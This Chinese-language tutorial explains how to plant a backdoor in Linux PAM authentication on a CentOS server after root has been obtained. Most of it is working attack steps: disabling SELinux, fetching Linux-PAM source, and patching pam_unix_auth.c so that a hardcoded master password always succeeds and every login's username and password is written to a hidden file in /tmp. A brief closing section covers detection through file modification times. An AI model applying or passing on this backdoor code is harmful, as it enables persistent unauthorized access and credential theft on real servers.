LINUX留后门 | 您所在的位置:网站首页 › php留后门 › LINUX留后门 |
一、本教程作用
1、用在攻击的途径上 2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急? 不知攻,焉知防 二、PAM后门-教程前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限 靶机 IP: 192.168.160.144 (centos7) 攻击IP: 192.168.160.1 (win10 xhell) 2.1 pam介绍在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制! PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。 从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。(借用大佬的介绍不写了。) 2.2 植入 PAM 后门第一步: 在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。 setenforce 0
发现是 1.1.8 版本 rpm -qa|grep pam
pam下载地址:http://www.linux-pam.org/library/ 选择 pam1.1.8 wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码 if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;} if(retval == PAM_SUCCESS){ FILE * fp; fp = fopen("/tmp/.sshlog", "a"); fprintf(fp, "%s : %s\n", name, p); fclose(fp);}
本地登录测试 ssh [email protected]
第一步:查看可以连接 natstat -anpt第二步:检查pam_unix.so的修改时间 因为 pam 后门是替换文件,所以查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看) stat /lib/security/pam_unix.so #32位 stat /lib64/security/pam_unix.so #64位如图所示,时间就是最近的时间,有问题。
|
CopyRight 2018-2019 实验室设备网 版权所有 |